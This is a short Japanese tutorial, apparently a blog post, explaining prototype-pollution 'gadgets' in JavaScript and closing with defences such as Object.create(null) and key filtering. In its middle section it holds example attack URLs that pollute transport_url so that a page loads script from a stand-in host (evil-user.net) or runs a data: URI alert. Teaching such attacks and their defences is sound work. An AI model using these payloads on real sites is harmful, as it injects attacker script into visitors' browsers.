Hello there, ('ω')ノ
🧠 ガジェットとは何か?
簡単に言うと、アプリやライブラリが信頼して使っているプロパティで、以下の2つを満たすものが「ガジェット」と呼ばれます:
| 条件 | 説明 |
|---|---|
| ✅ アプリがそのプロパティを使っている | しかもフィルターや検証なしに使う(危険) |
| ✅ そのプロパティがPrototype Pollutionで汚染できる | オブジェクトの「継承」経由でアクセスされる |
逆に、「そのプロパティがオブジェクト自身に直接定義されている」場合は、プロトタイプより優先されるため汚染は無効になります。
❗ 例:ガジェットの利用によるXSS攻撃
ライブラリ側のコード(想像)
let transport_url = config.transport_url || defaults.transport_url;
開発者は、configオブジェクトにtransport_urlがなければ、defaults.transport_urlを使うように設計しています。
ところが…
let script = document.createElement('script'); script.src = `${transport_url}/example.js`; document.body.appendChild(script);
このように、URLを使って<script>タグを追加しています。
😈 攻撃の流れ
開発者が config.transport_url を明示的に設定していない場合、プロトタイプが参照されます。
そこで、攻撃者が以下のようなURLを使ってプロトタイプを汚染すると:
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
JavaScript内部では次のようになります:
let config = {}; // transport_url は定義されていない // でも、プロトタイプに transport_url が追加されている let transport_url = config.transport_url; // → "//evil-user.net"
結果として、以下のようなスクリプトが生成されます:
<script src="//evil-user.net/example.js"></script>
つまり:
攻撃者が用意したJavaScriptファイルが被害者のブラウザで実行される!
🧪 XSSにも応用可能
プロトコルとして data: を使えば、XSS(クロスサイトスクリプティング)にもつながります:
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
これは、次のように変換されます:
script.src = "data:,alert(1);//example.js";
末尾の // は /example.js をコメントアウトするための工夫です。
🔐 対策方法
| 対策 | 説明 |
|---|---|
Object.create(null) を使う |
プロトタイプを持たないオブジェクトを使うことで、汚染の影響を受けない |
| 危険なキーのブロック | __proto__, constructor, prototype などを除外 |
| サニタイズ | ユーザーから受け取ったデータをマージする前に検証する |
| ライブラリやコードの見直し | 信頼せずに値を直接チェックする(hasOwnProperty()を使うなど) |
✅ まとめ
| 項目 | 内容 |
|---|---|
| ガジェットとは? | アプリ内で使われるプロパティで、プロトタイプ経由で汚染可能なもの |
| なぜ危険? | 実際に使われることでXSSや外部スクリプト実行につながる |
| 攻撃例 | ?__proto__[transport_url]=... によってスクリプトが汚染される |
| 対策 | プロトタイプなしのオブジェクトを使う、キーをフィルタする、サニタイズする |
Best regards, (^^ゞ